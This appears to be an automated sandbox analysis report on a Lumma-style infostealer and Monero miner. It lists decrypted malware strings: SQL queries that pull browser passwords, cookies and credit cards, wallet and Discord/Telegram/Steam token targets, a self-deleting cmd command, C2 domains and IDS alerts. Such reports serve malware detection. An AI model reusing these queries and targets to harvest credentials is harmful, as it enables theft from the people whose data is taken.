Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: StrCmpCA
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: StrStrA
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: StrCmpCW
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: PathMatchSpecA
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: GetModuleFileNameExA
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: RmStartSession
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: RmRegisterResources
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: RmGetList
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: RmEndSession
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: sqlite3_open
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: sqlite3_prepare_v2
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: sqlite3_step
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: sqlite3_column_text
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: sqlite3_finalize
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: sqlite3_close
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: sqlite3_column_bytes
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: sqlite3_column_blob
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: encrypted_key
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: PATH
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: C:\ProgramData\nss3.dll
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: NSS_Init
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: NSS_Shutdown
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: PK11_GetInternalKeySlot
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: PK11_FreeSlot
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: PK11_Authenticate
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: PK11SDR_Decrypt
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: C:\ProgramData\
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: SELECT origin_url, username_value, password_value FROM logins
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: browser:
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: profile:
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: url:
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: login:
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: password:
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: Opera
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: OperaGX
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: Network
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: cookies
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: .txt
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: SELECT HOST_KEY, is_httponly, path, is_secure, (expires_utc/1000000)-11644480800, name, encrypted_value from cookies
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: TRUE
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: FALSE
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: autofill
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: SELECT name, value FROM autofill
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: history
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: SELECT url FROM urls LIMIT 1000
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: cc
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: SELECT name_on_card, expiration_month, expiration_year, card_number_encrypted FROM credit_cards
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: name:
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: month:
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: year:
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: card:
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: Cookies
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: Login Data
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: Web Data
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: History
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: logins.json
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: formSubmitURL
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: usernameField
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: encryptedUsername
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: encryptedPassword
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: guid
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: SELECT host, isHttpOnly, path, isSecure, expiry, name, value FROM moz_cookies
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: SELECT fieldname, value FROM moz_formhistory
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: SELECT url FROM moz_places LIMIT 1000
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: cookies.sqlite
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: formhistory.sqlite
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: places.sqlite
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: plugins
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: Local Extension Settings
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: Sync Extension Settings
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: IndexedDB
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: Opera Stable
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: Opera GX Stable
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: CURRENT
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: chrome-extension_
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: _0.indexeddb.leveldb
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: Local State
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: profiles.ini
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: chrome
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: opera
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: firefox
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: wallets
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: %08lX%04lX%lu
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: SOFTWARE\Microsoft\Windows NT\CurrentVersion
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: ProductName
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: x32
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: x64
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: %d/%d/%d %d:%d:%d
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: ProcessorNameString
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: DisplayName
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: DisplayVersion
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: Network Info:
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: - IP: IP?
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: - Country: ISO?
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: System Summary:
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: - HWID:
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: - OS:
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: - Architecture:
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: - UserName:
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: - Computer Name:
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: - Local Time:
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: - UTC:
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: - Language:
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: - Keyboards:
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: - Laptop:
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: - Running Path:
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: - CPU:
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: - Threads:
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: - Cores:
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: - RAM:
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: - Display Resolution:
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: - GPU:
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: User Agents:
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: Installed Apps:
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: All Users:
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: Current User:
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: Process List:
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: system_info.txt
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: freebl3.dll
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: mozglue.dll
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: msvcp140.dll
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: nss3.dll
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: softokn3.dll
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: vcruntime140.dll
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: \Temp\
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: .exe
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: runas
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: open
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: /c start
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: %DESKTOP%
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: %APPDATA%
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: %LOCALAPPDATA%
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: %USERPROFILE%
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: %DOCUMENTS%
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: %PROGRAMFILES%
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: %PROGRAMFILES_86%
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: %RECENT%
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: *.lnk
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: files
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: \discord\
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: \Local Storage\leveldb\CURRENT
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: \Local Storage\leveldb
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: \Telegram Desktop\
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: key_datas
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: D877F783D5D3EF8C*
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: map*
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: A7FDF864FBC10B77*
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: A92DAA6EA6F891F2*
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: F8806DD0C461824F*
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: Telegram
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: Tox
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: *.tox
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: *.ini
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: Password
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: Software\Microsoft\Office\14.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: oftware\Microsoft\Windows Messaging Subsystem\Profiles\9375CFF0413111d3B88A00104B2A6676\
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: 00000001
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: 00000002
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: 00000003
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: 00000004
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: \Outlook\accounts.txt
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: Pidgin
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: \.purple\
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: accounts.xml
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: dQw4w9WgXcQ
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: token:
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: Software\Valve\Steam
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: SteamPath
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: \config\
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: ssfn*
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: config.vdf
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: DialogConfig.vdf
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: DialogConfigOverlay*.vdf
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: libraryfolders.vdf
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: loginusers.vdf
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: \Steam\
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: sqlite3.dll
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: browsers
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: done
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: soft
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: \Discord\tokens.txt
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: /c timeout /t 5 & del /f /q "
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: " & del "C:\ProgramData\*.dll"" & exit
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: C:\Windows\system32\cmd.exe
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: https
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: Content-Type: multipart/form-data; boundary=----
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: POST
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: HTTP/1.1
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: Content-Disposition: form-data; name="
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: hwid
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: build
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: token
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: file_name
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: file
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: message
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: screenshot.jpg

Bitcoin Miner

Yara detected Xmrig cryptocurrency miner

Source: Yara match	File source: 00000012.00000002.3306996837.000001AF56C83000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.3306996837.000001AF56C89000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: svchost.exe PID: 384, type: MEMORYSTR

Found strings related to Crypto-Mining

Source: svchost.exe, 00000012.00000002.3306996837.000001AF56C83000.00000004.00000020.00020000.00000000.sdmp

String found in binary or memory: monerohash.com:9999

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49705 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49989 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.99:443 -> 192.168.2.5:49991 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.9.202:443 -> 192.168.2.5:49992 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.68:443 -> 192.168.2.5:49993 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49996 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49999 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:50000 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:50001 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:50002 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:50003 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:50004 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:50009 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:50010 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:50012 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:50014 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:50019 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:50027 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:50028 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:50029 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:50031 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:50032 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:50033 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:50034 version: TLS 1.2

Source:	Binary string: C:\Google translate master\elapsedTime\x64\Release\elapsedTime.pdb source: svchost.exe, 00000009.00000002.2885388402.000000018003C000.00000002.00001000.00020000.00000000.sdmp, svchost.exe, 00000014.00000002.3301973790.000000018003C000.00000002.00001000.00020000.00000000.sdmp
Source:	Binary string: C:\Google translate master\elapsedTimeWrapper\x64\Release\elapsedTimeWrapper.pdb source: svchost.exe, 00000009.00000002.2890503390.00007FF8A888E000.00000002.00000001.01000000.0000000E.sdmp, svchost.exe, 00000014.00000002.3316819374.00007FF8A869E000.00000002.00000001.01000000.0000000E.sdmp, BackupOfflineDownload.dll.8.dr
Source:	Binary string: my_library.pdbU source: fc0b992f89.exe, 00000017.00000002.3156445874.0000000000CCC000.00000040.00000001.01000000.00000012.sdmp, fc0b992f89.exe, 00000017.00000003.3116101099.000000000572B000.00000004.00001000.00020000.00000000.sdmp, fc0b992f89.exe, 00000029.00000002.3306253227.0000000000CCC000.00000040.00000001.01000000.00000012.sdmp, fc0b992f89.exe, 00000029.00000003.3274962236.0000000004F5B000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: C:\Google translate master\initial\x64\Release\initial.pdb source: configuredInstallerEXE.exe, 00000008.00000003.2911738024.0000000180035000.00000002.00001000.00020000.00000000.sdmp
Source:	Binary string: my_library.pdb source: fc0b992f89.exe, 00000017.00000002.3156445874.0000000000CCC000.00000040.00000001.01000000.00000012.sdmp, fc0b992f89.exe, 00000017.00000003.3116101099.000000000572B000.00000004.00001000.00020000.00000000.sdmp, fc0b992f89.exe, 00000029.00000002.3306253227.0000000000CCC000.00000040.00000001.01000000.00000012.sdmp, fc0b992f89.exe, 00000029.00000003.3274962236.0000000004F5B000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: C:\Google translate master\initial\x64\Release\initial.pdb% source: configuredInstallerEXE.exe, 00000008.00000003.2911738024.0000000180035000.00000002.00001000.00020000.00000000.sdmp
Source:	Binary string: C:\Google translate master\watcherWrapper\x64\Release\watcherWrapper.pdb source: svchost.exe, 00000009.00000002.2889083714.000001B1106A0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000002.3309675816.00007FF8B7E7E000.00000002.00000001.01000000.0000000F.sdmp
Source:	Binary string: C:\Google translate master\elapsedTime\x64\Release\elapsedTime.pdb- source: svchost.exe, 00000009.00000002.2885388402.000000018003C000.00000002.00001000.00020000.00000000.sdmp, svchost.exe, 00000014.00000002.3301973790.000000018003C000.00000002.00001000.00020000.00000000.sdmp
Source:	Binary string: C:\Google translate master\initialWrapper\x64\ReleaseEXE\initialWrapper.pdb7 source: configuredInstallerEXE.exe, 00000008.00000000.2826170189.00007FF733FFC000.00000002.00000001.01000000.0000000D.sdmp, configuredInstallerEXE.exe, 00000008.00000002.2914870157.00007FF733FFC000.00000002.00000001.01000000.0000000D.sdmp
Source:	Binary string: C:\Google translate master\watcher\x64\Release\watcher.pdb! source: svchost.exe, 00000012.00000002.3306996837.000001AF56C75000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000002.3301350169.000000018004A000.00000002.00001000.00020000.00000000.sdmp
Source:	Binary string: C:\Google translate master\initialWrapper\x64\ReleaseEXE\initialWrapper.pdb source: configuredInstallerEXE.exe, 00000008.00000000.2826170189.00007FF733FFC000.00000002.00000001.01000000.0000000D.sdmp, configuredInstallerEXE.exe, 00000008.00000002.2914870157.00007FF733FFC000.00000002.00000001.01000000.0000000D.sdmp
Source:	Binary string: @#C:\Google translate master\elapsedTimeWrapper\x64\Release\elapsedTimeWrapper.pdb source: svchost.exe, 00000009.00000002.2890503390.00007FF8A888E000.00000002.00000001.01000000.0000000E.sdmp, svchost.exe, 00000014.00000002.3316819374.00007FF8A869E000.00000002.00000001.01000000.0000000E.sdmp, BackupOfflineDownload.dll.8.dr
Source:	Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: RYM16770HTK1NZSZ1PW5P28.exe, 00000003.00000002.2408926793.00000000007B2000.00000040.00000001.01000000.00000006.sdmp, RYM16770HTK1NZSZ1PW5P28.exe, 00000003.00000003.2273352345.0000000004C30000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: C:\Google translate master\watcher\x64\Release\watcher.pdb source: svchost.exe, 00000012.00000002.3306996837.000001AF56C75000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000002.3301350169.000000018004A000.00000002.00001000.00020000.00000000.sdmp

Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe

Directory queried: number of queries: 1056

Source: C:\Windows\System32\svchost.exe	Code function: 18_2_00007FF8B7E73F30 FindFirstFileExW,		18_2_00007FF8B7E73F30
Source: C:\Windows\System32\svchost.exe	Code function: 18_2_000000018002AD4C FindFirstFileExW,		18_2_000000018002AD4C

Source: firefox.exe

Memory has grown: Private usage: 1MB later: 92MB

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2057129 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store) : 192.168.2.5:60700 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057127 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store) : 192.168.2.5:55423 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057131 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store) : 192.168.2.5:55307 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057125 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store) : 192.168.2.5:51177 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057123 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (necklacedmny .store) : 192.168.2.5:59702 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.5:49704 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.5:49709 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.5:49710 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.5:49705 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.5:49707 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.5:49711 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.5:49708 -> 188.114.97.3:443
